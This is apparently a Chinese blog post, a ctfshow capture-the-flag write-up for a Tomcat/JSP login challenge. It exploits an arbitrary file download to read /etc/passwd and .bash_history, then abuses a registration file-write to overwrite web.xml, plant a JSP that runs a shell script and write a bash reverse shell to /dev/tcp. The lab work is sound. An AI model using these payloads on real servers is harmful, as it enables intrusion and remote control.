Loading

CTFSHOW-日刷-摆烂杯-登陆不了-tomcat/jsp

进去是一个主页,点击注册

 

发现注册这里的验证码没用到,而且内容也一直不变,右击新建打开

发现传了一串base64的参数,解码是c81e728.jpg,怀疑是任意文件下载,尝试下载 /etc/passwd

 

 

确实是任意文件下载,下面就是要再找到flag的路径

 

 尝试确定中间件,这里我先看了历史命令记录,下载查看

../../../../../../../../../root/.bash_history

 

 在这里发现是tomcat,同时确定了物理路径

尝试访问日志,这个日志会有报错信息,先下载一个不存在的文件即可

序号            名称                                        说明
1        catalina.date.log                       Catalina引擎的日志文件
2        catalina.out                            Catalina控制台输出,包括标准输出和错误输出
3        host-manager.date.log                   主机管理日志
4        localhost.date.log                      Tomcat下内部代码丢出的日志
5        locahost_access_log.date.txt            网页访问日志
6        manager.date.log                        应用管理日志
../../../../../../../../../home/apache-tomcat-8.5.45/logs/catalina.out

 

发现这个项目的具体路径在ROOT里面,尝试读取web.xml

 

 没啥有用信息,根据题目提示读取pom.xml

 

发现jar文件,下载,注意下下来的jar文件末尾有多余的0 删除至8个即可

 

反编译查看

 

找到index控制器,下载(在classes里找,注意后缀calss别忘了)

../../../../../../../../../home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/classes/com/ctfshow/controller/Index.class

下载,同样删除多余的0反编译查看(用的idea)

 

发现注册的时候存在文件写入,由于文件名只能是数字字母小数点,所以不存在目录穿越

文件保存路径是当前路径calsses的上一级,也就是WEB-INF,我们可以在这里重写web.xml来访问我们想访问的路径

 

注册页面

传入:username=web.xml&password=<?xml%20version%3d"1.0"%20encoding%3d"UTF-8"?>%20<web-app%20version%3d"3.0"%20%20%20%20%20%20%20%20%20%20xmlns%3d"http://java.sun.com/xml/ns/javaee"%20%20%20%20%20%20%20%20%20%20xmlns:xsi%3d"http://www.w3.org/2001/XMLSchema-instance"%20%20%20%20%20%20%20%20%20%20xsi:schemaLocation%3d"http://java.sun.com/xml/ns/javaee%20%20%20%20%20%20%20%20%20%20http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">%20%20%20<display-name></display-name>%20%20%20%20%20<filter>%20%20%20%20%20%20%20%20%20<filter-name>routerFilter</filter-name>%20%20%20%20%20%20%20%20%20<filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>%20%20%20%20%20</filter>%20%20%20%20%20<filter-mapping>%20%20%20%20%20%20%20%20%20<filter-name>routerFilter</filter-name>%20%20%20%20%20%20%20%20%20<url-pattern>/404.html</url-pattern>%20%20%20%20%20%20%20%20%20<url-pattern>/s/*</url-pattern>%20%20%20%20%20%20%20%20%20<dispatcher>REQUEST</dispatcher>%20%20%20%20%20</filter-mapping>%20<servlet>%20%20%20<servlet-name>ctfshow</servlet-name>%20%20%20<jsp-file>/WEB-INF/1.jsp</jsp-file>%20%20%20</servlet>%20%20%20<servlet-mapping>%20%20%20<servlet-name>ctfshow</servlet-name>%20%20%20<url-pattern>/ctfshow</url-pattern>%20%20%20</servlet-mapping>%20%20</web-app>
<web-app version="3.0" 
        xmlns="http://java.sun.com/xml/ns/javaee" 
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
        xsi:schemaLocation="http://java.sun.com/xml/ns/javaee 
        http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
  <display-name></display-name>
    <filter>
        <filter-name>routerFilter</filter-name>
        <filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>routerFilter</filter-name>
        <url-pattern>/404.html</url-pattern>
        <url-pattern>/s/*</url-pattern>
        <dispatcher>REQUEST</dispatcher>
    </filter-mapping>
<servlet>  
<servlet-name>ctfshow</servlet-name>  
<jsp-file>/WEB-INF/1.jsp</jsp-file>  
</servlet>  
<servlet-mapping>  
<servlet-name>ctfshow</servlet-name>  
<url-pattern>/ctfshow</url-pattern>  
</servlet-mapping>  </web-app>

 即路径ctfshow访问1当前目录下的1.jsp

 

写入执行bash脚本的jsp

传入:username=1.jsp&password=<%25%20java.lang.Runtime.getRuntime().exec("sh%20/home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/1.sh");%25>
<% java.lang.Runtime.getRuntime().exec("sh /home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/1.sh");%>

这是执行当前目录下的1.sh,在写1.sh

 

写入反弹shell的bash脚本

传入username=1.sh&password=bash%20-i%20%3e%26%20/dev/tcp/ip/port%200%3e%261
bash -i >& /dev/tcp/ip/port 0>&1

注意改下ip端口

 

 

获得flag

 

posted @ 2022-01-21 16:57  Aninock  阅读(150)  评论(0编辑  收藏  举报